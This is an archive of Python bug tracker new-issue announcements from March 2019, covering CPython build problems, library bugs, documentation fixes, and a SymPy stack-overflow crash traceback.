For a newcomer, when you read the doc, you don't know the meaning of `0` and you want to know, of course you read the code and sometimes you can find READONLY or `0`.

I would like to add a new constant for `0` and name it `READWRITE`.

static PyMemberDef members[] = {
    {"name", T_OBJECT, offsetof(MyObject, name), READWRITE, "Name object"},
    {NULL}  // Sentinel
};

----------
components: Interpreter Core
messages: 338232
nosy: matrixise
priority: normal
severity: normal
status: open
title: Add the constant READWRITE for PyMemberDef
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36347>
_______________________________________

From report at bugs.python.org  Mon Mar 18 10:57:13 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 18 Mar 2019 14:57:13 +0000
Subject: [New-bugs-announce] [issue36348]
 test_imaplib.RemoteIMAP_STARTTLSTest.test_logout() fails randomly
Message-ID: <1552921033.43.0.82087415933.issue36348@roundup.psfhosted.org>


New submission from STINNER Victor <vstinner at redhat.com>:

https://buildbot.python.org/all/#/builders/21/builds/2512

======================================================================
FAIL: test_logout (test.test_imaplib.RemoteIMAP_STARTTLSTest)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/home/dje/cpython-buildarea/3.x.edelsohn-rhel-z/build/Lib/test/test_imaplib.py", line 946, in test_logout
    self.assertEqual(rs[0], 'BYE')
AssertionError: 'NO' != 'BYE'
- NO
+ BYE


The logout() returns 'NO' if *any* exception is raised:

        try: typ, dat = self._simple_command('LOGOUT')
        except: typ, dat = 'NO', ['%s: %s' % sys.exc_info()[:2]]

Attached PR proposes a fix.

----------
components: Library (Lib)
messages: 338233
nosy: vstinner
priority: normal
severity: normal
status: open
title: test_imaplib.RemoteIMAP_STARTTLSTest.test_logout() fails randomly
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36348>
_______________________________________

From report at bugs.python.org  Mon Mar 18 11:03:59 2019
From: report at bugs.python.org (Farbod Safe)
Date: Mon, 18 Mar 2019 15:03:59 +0000
Subject: [New-bugs-announce] [issue36349] Including parentheses in a regular
 expression pattern enclosed by literal square bracket characters cause the
 square brackets not to be matched
Message-ID: <1552921439.06.0.146720429556.issue36349@roundup.psfhosted.org>


New submission from Farbod Safe <farbod.safe at gmail.com>:

Below two print statements should give the same results but they don't:

import re

s = '[a]'

print(*re.findall(r'\[.*]',s))
[a]

print(*re.findall(r'\[(.*)]',s))
a

----------
messages: 338234
nosy: Farbod Safe2
priority: normal
severity: normal
status: open
title: Including parentheses in a regular expression pattern enclosed by literal square bracket characters cause the square brackets not to be matched
type: behavior
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36349>
_______________________________________

From report at bugs.python.org  Mon Mar 18 11:16:48 2019
From: report at bugs.python.org (=?utf-8?q?R=C3=A9mi_Lapeyre?=)
Date: Mon, 18 Mar 2019 15:16:48 +0000
Subject: [New-bugs-announce] [issue36350] inspect.Signature.parameters and
 inspect.BoundArguments.arguments should be dicts instead of OrderedDicts
Message-ID: <1552922208.92.0.691129185173.issue36350@roundup.psfhosted.org>


New submission from R?mi Lapeyre <remi.lapeyre at henki.fr>:

Python 3.7.2 (default, Feb 12 2019, 08:15:36) 
[Clang 10.0.0 (clang-1000.11.45.5)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> import inspect
>>> inspect.Signature().parameters
mappingproxy(OrderedDict())
>>> def foo(a): pass
... 
>>> ba = inspect.signature(foo).bind(1)
>>> ba.arguments
OrderedDict([('a', 1)])

----------
components: Library (Lib)
messages: 338238
nosy: remi.lapeyre
priority: normal
severity: normal
status: open
title: inspect.Signature.parameters and inspect.BoundArguments.arguments should be dicts instead of OrderedDicts
type: enhancement
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36350>
_______________________________________

From report at bugs.python.org  Mon Mar 18 12:10:33 2019
From: report at bugs.python.org (Xavier de Gaye)
Date: Mon, 18 Mar 2019 16:10:33 +0000
Subject: [New-bugs-announce] [issue36351] the ipv6type variable in
 configure.ac may be set incorrectly when cross-compiling
Message-ID: <1552925433.25.0.962523188847.issue36351@roundup.psfhosted.org>


New submission from Xavier de Gaye <xdegaye at gmail.com>:

The tests that set the 'ipv6type' variable in configure.ac check the local file system and this may give incorrect values when cross-compiling. For example the /etc/netconfig file exists on Archlinux, and configure sets ipv6type=solaris when cross-compiling Android on this platform.

----------
components: Cross-Build
messages: 338250
nosy: Alex.Willmer, xdegaye
priority: normal
severity: normal
stage: needs patch
status: open
title: the ipv6type variable in configure.ac may be set incorrectly when cross-compiling
type: behavior
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36351>
_______________________________________

From report at bugs.python.org  Mon Mar 18 12:46:40 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 18 Mar 2019 16:46:40 +0000
Subject: [New-bugs-announce] [issue36352] Modules/getpath.c should not use
 hardcoded buffer sizes (MAXPATHLEN)
Message-ID: <1552927600.61.0.558974718013.issue36352@roundup.psfhosted.org>


New submission from STINNER Victor <vstinner at redhat.com>:

I'm working on a change to avoid hardcoded buffer sizes (MAXPATHLEN) in Modules/getpath.c. This issue is a place holder to discuss it.

----------
components: Interpreter Core
messages: 338255
nosy: vstinner
priority: normal
severity: normal
status: open
title: Modules/getpath.c should not use hardcoded buffer sizes (MAXPATHLEN)
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36352>
_______________________________________

From report at bugs.python.org  Mon Mar 18 13:31:55 2019
From: report at bugs.python.org (Toon Verstraelen)
Date: Mon, 18 Mar 2019 17:31:55 +0000
Subject: [New-bugs-announce] [issue36353] rpath incorrectly handled on OSX
 by build_ext
Message-ID: <1552930315.65.0.323972395891.issue36353@roundup.psfhosted.org>


New submission from Toon Verstraelen <toon.verstraelen at gmail.com>:

When using the '-R' option of build_ext on OSX, e.g.

python setup.py -R some/path

it gets translated to the following clang compiler argument:

-L some/path

while it should be

-Wl,-rpath,some/path

See clang documentation for details: 

https://clang.llvm.org/docs/ClangCommandLineReference.html#linker-flags

----------
components: Distutils
messages: 338263
nosy: Toon Verstraelen, dstufft, eric.araujo
priority: normal
severity: normal
status: open
title: rpath incorrectly handled on OSX by build_ext
type: behavior

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36353>
_______________________________________

From report at bugs.python.org  Mon Mar 18 13:45:50 2019
From: report at bugs.python.org (Ray Donnelly)
Date: Mon, 18 Mar 2019 17:45:50 +0000
Subject: [New-bugs-announce] [issue36354] Use CreateProcessW for Python 2.7
 on Windows.
Message-ID: <1552931150.38.0.949997697038.issue36354@roundup.psfhosted.org>


New submission from Ray Donnelly <rdonnelly at anaconda.com>:

Hi all,

I'd like to entertain some discussion around the idea of calling CreateProcessW instead of CreateProcess on Windows.

I've written a patch as a proof of concept and I would love to get some feedback. I guess I've broken the normal ACP/getfilesystemencoding() expectation for byte strings here. My idea to fix this was to use CreateProcessW only when all arguments (program name, arguments, cwd, environment) are unicode already.

The reason we'd like to use it on Anaconda Distribution is that we would like for conda to be able to handle Unicode as well as possible in as many situations as possible, including running a Python2 conda and creating conda envs with all sorts of glyphs in it.

We run into bug reports quite frequently from people who try to install Miniconda2 or Anaconda2 in their home directories due to their username containing certain codepoints.

----------
files: 0017-Use-CreateProcessW-to-support-Unicode.patch
keywords: patch
messages: 338270
nosy: Ray Donnelly, giampaolo.rodola, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: Use CreateProcessW for Python 2.7 on Windows.
Added file: https://bugs.python.org/file48216/0017-Use-CreateProcessW-to-support-Unicode.patch

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36354>
_______________________________________

From report at bugs.python.org  Mon Mar 18 15:18:19 2019
From: report at bugs.python.org (Josh Rosenberg)
Date: Mon, 18 Mar 2019 19:18:19 +0000
Subject: [New-bugs-announce] [issue36355] Remove documentation and internal
 use of the RESTRICTED constants for PyMemberDef's flags field
Message-ID: <1552936699.26.0.01319442845.issue36355@roundup.psfhosted.org>


New submission from Josh Rosenberg <shadowranger+python at gmail.com>:

While looking up background info for #36347, I noticed that the docs for PyMemberDef ( https://docs.python.org/3/extending/newtypes.html#generic-attribute-management ) define the following flags:

* READONLY
* READ_RESTRICTED
* WRITE_RESTRICTED
* RESTRICTED

Of those, WRITE_RESTRICTED has been documented incorrectly since Python 3.0a2 (it got renamed to PY_WRITE_RESTRICTED in structmember.h, apparently due to a name clash with VS 2008 on Windows).

Luckily, the constants are useless; AFAICT they were there solely to support restricted mode (via the rexec and Bastion modules). The modules were apparently disabled in Python 2.3 "due to various known and not readily fixable security holes" ( https://docs.python.org/2/library/restricted.html ), and the modules themselves officially deprecated in 2.6, and removed completely in 3.0.

Rather than fixing up the docs, maybe it's time to kill these constants for good? Probably shouldn't remove the definitions in structmember.h (if someone wrote code using them, we shouldn't needlessly break compilation), but the interpreter and standard library should stop setting them, and the documentation for them should be removed.

----------
assignee: docs at python
components: Documentation, Extension Modules, Interpreter Core
messages: 338282
nosy: docs at python, josh.r
priority: normal
severity: normal
status: open
title: Remove documentation and internal use of the RESTRICTED constants for PyMemberDef's flags field
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36355>
_______________________________________

From report at bugs.python.org  Mon Mar 18 23:47:57 2019
From: report at bugs.python.org (Ben Harper)
Date: Tue, 19 Mar 2019 03:47:57 +0000
Subject: [New-bugs-announce] [issue36356] Failure to build with address
 sanitizer
Message-ID: <1552967277.69.0.646647509224.issue36356@roundup.psfhosted.org>


New submission from Ben Harper <btharper1221 at gmail.com>:

Trying to run make after './configure --with-address-sanitizer --with-pydebug' fails with leak of locale string

----------
components: Build
messages: 338315
nosy: btharper
priority: normal
severity: normal
status: open
title: Failure to build with address sanitizer
type: compile error
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36356>
_______________________________________

From report at bugs.python.org  Tue Mar 19 00:36:08 2019
From: report at bugs.python.org (Ma Lin)
Date: Tue, 19 Mar 2019 04:36:08 +0000
Subject: [New-bugs-announce] [issue36357] Build 32bit Python on Windows with
 SSE2 instruction set
Message-ID: <1552970168.14.0.453401262015.issue36357@roundup.psfhosted.org>


New submission from Ma Lin <malincns at 163.com>:

On windows, it seems 32bit builds (3.7.2/3.8.0a2) don't using SSE2 sufficiently.

I test on 3.8 branch, python38.dll only uses XMM register 28 times. The official build is the same.
After enable this option, python38.dll uses XMM register 11,704 times.

--- a/PCbuild/pythoncore.vcxproj
+++ b/PCbuild/pythoncore.vcxproj
@@ -88,6 +88,7 @@
       <AdditionalIncludeDirectories Condition="$(IncludeExternals)">$(zlibDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
       <PreprocessorDefinitions>_USRDLL;Py_BUILD_CORE;Py_ENABLE_SHARED;MS_DLL_ID="$(SysWinVer)";%(PreprocessorDefinitions)</PreprocessorDefinitions>
       <PreprocessorDefinitions Condition="$(IncludeExternals)">_Py_HAVE_ZLIB;%(PreprocessorDefinitions)</PreprocessorDefinitions>
+      <EnableEnhancedInstructionSet Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">StreamingSIMDExtensions2</EnableEnhancedInstructionSet>
     </ClCompile>
     <Link>
       <AdditionalDependencies>version.lib;shlwapi.lib;ws2_32.lib;%(AdditionalDependencies)</AdditionalDependencies>

x86 instruction set has only a few number of registers.
In my understanding, using XMM registers on 32bit build will brings a small speed up.
I'm not an expert of this kind knowledge, sorry if I'm wrong.

----------
components: Build, Windows
messages: 338317
nosy: Ma Lin, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: Build 32bit Python on Windows with SSE2 instruction set
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36357>
_______________________________________

From report at bugs.python.org  Tue Mar 19 02:56:39 2019
From: report at bugs.python.org (Abhinav Gupta)
Date: Tue, 19 Mar 2019 06:56:39 +0000
Subject: [New-bugs-announce] [issue36358] bool type does not support True or
 False as command line argv
Message-ID: <1552978599.88.0.823595828777.issue36358@roundup.psfhosted.org>


New submission from Abhinav Gupta <abhinavgupta94 at gmail.com>:

If I have a type=bool argument in argparser and I provide the value for it using command-line, it always evaluates to True. Is this expected?

Is there no alternative to using '' for False and any other string for True?

----------
components: Library (Lib)
messages: 338321
nosy: Abhinav Gupta
priority: normal
severity: normal
status: open
title: bool type does not support True or False as command line argv
type: behavior
versions: Python 2.7, Python 3.5, Python 3.6, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36358>
_______________________________________

From report at bugs.python.org  Tue Mar 19 03:26:24 2019
From: report at bugs.python.org (Hameer Abbasi)
Date: Tue, 19 Mar 2019 07:26:24 +0000
Subject: [New-bugs-announce] [issue36359] contextvars documentation unclear
 on thread-locality
Message-ID: <1552980384.32.0.0684370672008.issue36359@roundup.psfhosted.org>


New submission from Hameer Abbasi <habbasi at quansight.com>:

The documentation here: https://docs.python.org/3/library/contextvars.html does not mention anything about context-variables being thread-local or not. It should definitely make that more clear.

I was told by Freenode user njs (I strongly suspect its Nathaniel J. Smith) that they are.

----------
assignee: docs at python
components: Documentation
messages: 338322
nosy: Hameer Abbasi2, docs at python, yselivanov
priority: normal
severity: normal
status: open
title: contextvars documentation unclear on thread-locality
type: enhancement
versions: Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36359>
_______________________________________

From report at bugs.python.org  Tue Mar 19 05:02:02 2019
From: report at bugs.python.org (Shady Atef)
Date: Tue, 19 Mar 2019 09:02:02 +0000
Subject: [New-bugs-announce] [issue36360] undef HAVE_STROPTS_H in
 pyconfig.h.in is ignored
Message-ID: <1552986122.21.0.691195493771.issue36360@roundup.psfhosted.org>


New submission from Shady Atef <shadyoatef at gmail.com>:

I have `#undef HAVE_STROPTS_H` inside pyconfig.h.in, but after configuration it's commented out in pyconfig.h. Leading into compilation error as stropts.h is not found.

It seems like the configuration phase ignores the #undef directive for a reason.

These are the configuration parameters 

./configure --prefix=/home/shatef/python/Python3.7.2/build_rh67_491 --enable-shared --with-openssl=$OPENSSL_HOME CPPFLAGS="-I/home/shatef/libs/libffi-3.2.1/build/lib/libffi-3.2.1/include"  CFLAGS="-fgnu89-inline     -D__USE_XOPEN2K8"  LDFLAGS="-L/home/shatef/libs/libffi-3.2.1/build/lib64"

Building Information:
OS: Redhat 6.7
Compiler: GCC 4.9.1

----------
components: Build
messages: 338333
nosy: Shady Atef
priority: normal
severity: normal
status: open
title: undef HAVE_STROPTS_H in pyconfig.h.in is ignored
type: compile error
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36360>
_______________________________________

From report at bugs.python.org  Tue Mar 19 05:31:36 2019
From: report at bugs.python.org (Xavier de Gaye)
Date: Tue, 19 Mar 2019 09:31:36 +0000
Subject: [New-bugs-announce] [issue36361] generate correct pyconfig.h when
 cross-compiling
Message-ID: <1552987896.08.0.0930536102698.issue36361@roundup.psfhosted.org>


New submission from Xavier de Gaye <xdegaye at gmail.com>:

'configure' cache values are set to pessimistic defaults when cross-compiling. One of the most significant, ac_cv_computed_gotos, is set to 'no' in that case.  When ac_cv_computed_gotos is set to 'yes' on platforms that support it, it brings a 15-20 % gain in performance.  To know if a platform supports computed goto when not cross-compiling, a C test program is built and run using the AC_RUN_IFELSE autoconf macro in configure.ac.

Most platforms provide a way to transfer a file and to run a remote shell, whether it is using ssh or by other means (Android has the 'adb' swiss-knife tool).  This is a proposal to extend the AC_RUN_IFELSE macro to also copy the executable locally when cross-compiling. A script uploads it later on the platform, target of the cross-compilation, runs it on this platform, collects its exit status and sets the corresponding cache value accordingly in a config.site file.  A second run of 'configure', with the CONFIG_SITE environment variable set to the *absolute* path of this config.site file, allows configuring the build with the correct cache values for this platform.

----------
components: Cross-Build
messages: 338335
nosy: Alex.Willmer, xdegaye
priority: normal
severity: normal
stage: needs patch
status: open
title: generate correct pyconfig.h when cross-compiling
type: enhancement
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36361>
_______________________________________

From report at bugs.python.org  Tue Mar 19 06:03:47 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Tue, 19 Mar 2019 10:03:47 +0000
Subject: [New-bugs-announce] [issue36362] Detected unused variables with
 --with-address-sanitizer
Message-ID: <1552989827.06.0.868737365224.issue36362@roundup.psfhosted.org>


New submission from St?phane Wirtel <stephane at wirtel.be>:

I am going to publish my PR.

----------
components: Interpreter Core
messages: 338337
nosy: matrixise
priority: normal
severity: normal
status: open
title: Detected unused variables with --with-address-sanitizer
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36362>
_______________________________________

From report at bugs.python.org  Tue Mar 19 09:29:50 2019
From: report at bugs.python.org (Bastien Sevajol)
Date: Tue, 19 Mar 2019 13:29:50 +0000
Subject: [New-bugs-announce] [issue36363] Wrong type when missname dataclass
 attribute with existing variable name
Message-ID: <1553002190.66.0.121651684689.issue36363@roundup.psfhosted.org>


New submission from Bastien Sevajol <sevajol.bastien at gmail.com>:

Hello,

For following code:

```
import dataclasses
import typing
from datetime import datetime


@dataclasses.dataclass
class Foo:
    datetime: typing.Optional[datetime] = None


print(dataclasses.fields(Foo)[0].type)
```

`datetime` `Foo` attribute have `NoneType` type. Problem come from `datetime` attribute name is already used by the `from datetime import datetime` import. I'm not sure if it is a bug or a strange behavior but it seems not regular. Tested on python 3.8.0a2 with same result.

----------
components: Extension Modules
messages: 338354
nosy: Bastien Sevajol
priority: normal
severity: normal
status: open
title: Wrong type when missname dataclass attribute with existing variable name
type: behavior
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36363>
_______________________________________

From report at bugs.python.org  Tue Mar 19 10:39:57 2019
From: report at bugs.python.org (Pierre Glaser)
Date: Tue, 19 Mar 2019 14:39:57 +0000
Subject: [New-bugs-announce] [issue36364] errors in
 multiprocessing.shared_memory examples
Message-ID: <1553006397.24.0.439789667635.issue36364@roundup.psfhosted.org>


New submission from Pierre Glaser <pierreglaser at msn.com>:

The examples of the new shared_memory module using SharedMemoryManager try to import the class from multiprocessing.shared_memory instead of multiprocessing.managers, making them fail.

----------
assignee: docs at python
components: Documentation
files: 0001-DOC-fix-SharedMemoryManager-examples.patch
keywords: patch
messages: 338360
nosy: docs at python, pierreglaser
priority: normal
severity: normal
status: open
title: errors in multiprocessing.shared_memory examples
versions: Python 3.8
Added file: https://bugs.python.org/file48221/0001-DOC-fix-SharedMemoryManager-examples.patch

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36364>
_______________________________________

From report at bugs.python.org  Tue Mar 19 10:57:37 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 19 Mar 2019 14:57:37 +0000
Subject: [New-bugs-announce] [issue36365] Objects/structseq.c: warning:
 'strncpy' specified bound depends on the length of the source argument
Message-ID: <1553007457.48.0.128688870738.issue36365@roundup.psfhosted.org>


New submission from STINNER Victor <vstinner at redhat.com>:

Warning seen on Fedora 29 with GCC 8.3.1 20190223 (Red Hat 8.3.1-2):

Objects/structseq.c: In function 'structseq_repr':
Objects/structseq.c:187:5: warning: 'strncpy' specified bound depends on the length of the source argument [-Wstringop-overflow=]
     strncpy(pbuf, typ->tp_name, len);
     ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Objects/structseq.c:185:11: note: length computed here
     len = strlen(typ->tp_name) > TYPE_MAXSIZE ? TYPE_MAXSIZE :
           ^~~~~~~~~~~~~~~~~~~~

Attached PR rewrites structseq_repr() using _PyUnicodeWriter for better performance and remove the arbitrary limit of 512 bytes.

----------
components: Interpreter Core
messages: 338361
nosy: vstinner
priority: normal
severity: normal
status: open
title: Objects/structseq.c: warning: 'strncpy' specified bound depends on the length of the source argument
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36365>
_______________________________________

From report at bugs.python.org  Tue Mar 19 11:57:41 2019
From: report at bugs.python.org (Samuel Freilich)
Date: Tue, 19 Mar 2019 15:57:41 +0000
Subject: [New-bugs-announce] [issue36366] Patcher stop method should be
 idempotent
Message-ID: <1553011061.53.0.157389839215.issue36366@roundup.psfhosted.org>


New submission from Samuel Freilich <sfreilich at google.com>:

Currently, it's an error to call the stop() method of a patcher object created by mock.patch repeatedly:

>>> patch = mock.patch.object(Foo, 'BAR', 'x')
>>> patch.start()
'x'
>>> patch.stop()
>>> patch.stop()
RuntimeError: stop called on unstarted patcher

This causes unnecessary problems when test classes using mock.patch.stopall for cleanup are mixed with those cleaning up patches individually:

class TestA(unittest.TestCase):

  def setUp():
    patcher = mock.patch.object(...)
    self.mock_a = patcher.start()
    self.addCleanup(patcher.stop)

  ...


class TestB(TestA):

  def setUp():
    super().setUp()
    self.addCleanup(mock.patch.stopall)
    self.mock_b = mock.patch.object(...).start()

  ...


This fails because mock.patch.stopall stops the patch set up in TestA.setUp(), then that raises an exception when it's stopped again.

But why does patcher.stop() enforce that precondition? Wouldn't it be sufficient for it to just enforce the postcondition, that after stop() is called the patch is stopped()? That would make it easier to write test code which makes use of mock.patch.stopall, which allows the proper cleanup of patches to be configured much more concisely.

----------
messages: 338371
nosy: sfreilich
priority: normal
severity: normal
status: open
title: Patcher stop method should be idempotent

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36366>
_______________________________________

From report at bugs.python.org  Tue Mar 19 12:12:41 2019
From: report at bugs.python.org (Charalampos Stratakis)
Date: Tue, 19 Mar 2019 16:12:41 +0000
Subject: [New-bugs-announce] [issue36367] tokenizer.c memory leak in case of
 realloc failure
Message-ID: <1553011961.19.0.135862122832.issue36367@roundup.psfhosted.org>


New submission from Charalampos Stratakis <cstratak at redhat.com>:

In tokenizer.c we have those lines of code [0]:

if (final_length < needed_length && final_length)
    /* should never fail */
    buf = PyMem_REALLOC(buf, final_length);
return buf;

If however that realloc fails, the memory allocated initially for buf, will not be freed.

[0] https://github.com/python/cpython/blob/master/Parser/tokenizer.c#L652

----------
messages: 338375
nosy: cstratak
priority: normal
severity: normal
status: open
title: tokenizer.c memory leak in case of realloc failure

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36367>
_______________________________________

From report at bugs.python.org  Tue Mar 19 12:38:01 2019
From: report at bugs.python.org (Pierre Glaser)
Date: Tue, 19 Mar 2019 16:38:01 +0000
Subject: [New-bugs-announce] [issue36368] server process of shared_memory
 shuts down if KeyboardInterrupt
Message-ID: <1553013481.49.0.145631506322.issue36368@roundup.psfhosted.org>


New submission from Pierre Glaser <pierreglaser at msn.com>:

When starting a SharedMemoryManager in an interactive session, any KeyboardInterrupt event will be transmitted to the (sub)process running the shared memory server, which causes the Manager to be unusable thereafter:

>>> from multiprocessing.managers import SharedMemoryManager
>>> smm = SharedMemoryManager()
>>> smm.start()
>>> start typing something wrong
KeyboardInterrupt
>>> sl = smm.ShareableList(range(10))
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/home/pierreglaser/repos/cpython/Lib/multiprocessing/managers.py", line 1342, in ShareableList
    with self._Client(self._address, authkey=self._authkey) as conn:
  File "/home/pierreglaser/repos/cpython/Lib/multiprocessing/connection.py", line 502, in Client
    c = SocketClient(address)
  File "/home/pierreglaser/repos/cpython/Lib/multiprocessing/connection.py", line 629, in SocketClient
    s.connect(address)
FileNotFoundError: [Errno 2] No such file or directory


I suggest ignoring SIGINT in the server process.

----------
files: 0001-FIX-protect-shared_memory-server-from-SIGINT.patch
keywords: patch
messages: 338380
nosy: davin, pierreglaser, pitrou
priority: normal
severity: normal
status: open
title: server process of shared_memory shuts down if KeyboardInterrupt
type: crash
versions: Python 3.8
Added file: https://bugs.python.org/file48222/0001-FIX-protect-shared_memory-server-from-SIGINT.patch

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36368>
_______________________________________

From report at bugs.python.org  Tue Mar 19 13:17:17 2019
From: report at bugs.python.org (Thomas Knox)
Date: Tue, 19 Mar 2019 17:17:17 +0000
Subject: [New-bugs-announce] [issue36369] test_weakref super slow on RPi Zero
Message-ID: <1553015837.07.0.00449042281864.issue36369@roundup.psfhosted.org>


New submission from Thomas Knox <tknox at mac.com>:

When building Python 3.7.2 on a Raspberry Pi Zero W, it takes over 6 hours to run test_weakref, and almost 15 hours total to run through all the tests.

14:28:14 load avg: 1.00 [396/416] test_weakset -- test_weakref passed in 6 hour 24 min

Does it really need to take this long for one test?

----------
components: Tests
messages: 338390
nosy: DNSGeek
priority: normal
severity: normal
status: open
title: test_weakref super slow on RPi Zero
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36369>
_______________________________________

From report at bugs.python.org  Tue Mar 19 15:01:43 2019
From: report at bugs.python.org (Aaron Meurer)
Date: Tue, 19 Mar 2019 19:01:43 +0000
Subject: [New-bugs-announce] [issue36370] "Fatal Python error: Cannot
 recover from stack overflow" from SymPy tests
Message-ID: <1553022103.99.0.827688349588.issue36370@roundup.psfhosted.org>


New submission from Aaron Meurer <asmeurer at gmail.com>:

I am getting a Fatal Python error: Cannot recover from stack overflow. running the SymPy tests on a branch of mine where the tests fail. I have reproduced this in Python 3.6.7, as well as CPython master (fc96e5474a7bda1c5dec66420e4467fc9f7ca968).

Here are the repro steps:

1. Check out my git branch https://github.com/asmeurer/sympy/tree/python-crash
2. Install or point PYTHONPATH to mpmath
3. Run python and type

from sympy import test
test('sets', subprocess=False)

The tests will run (with failures) until they reach a point where Python crashes with

Fatal Python error: Cannot recover from stack overflow.

Current thread 0x00007fffa8e623c0 (most recent call first):
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/core/relational.py", line 385 in __new__
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1594 in _contains
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 286 in contains
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1257 in <genexpr>
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/core/logic.py", line 139 in fuzzy_and
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1257 in _handle_finite_sets
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1900 in simplify_intersection
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1200 in __new__
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 109 in intersect
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 309 in is_subset
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1348 in reduce
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1338 in __new__
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 551 in __sub__
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1269 in _handle_finite_sets
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1900 in simplify_intersection
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1200 in __new__
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 109 in intersect
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 309 in is_subset
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1348 in reduce
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1338 in __new__
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 551 in __sub__
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1269 in _handle_finite_sets
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1900 in simplify_intersection
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1200 in __new__
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 109 in intersect
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 309 in is_subset
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1348 in reduce
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1338 in __new__
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 551 in __sub__
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1269 in _handle_finite_sets
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1900 in simplify_intersection
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1200 in __new__
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 109 in intersect
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 309 in is_subset
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1348 in reduce
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1338 in __new__
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 551 in __sub__
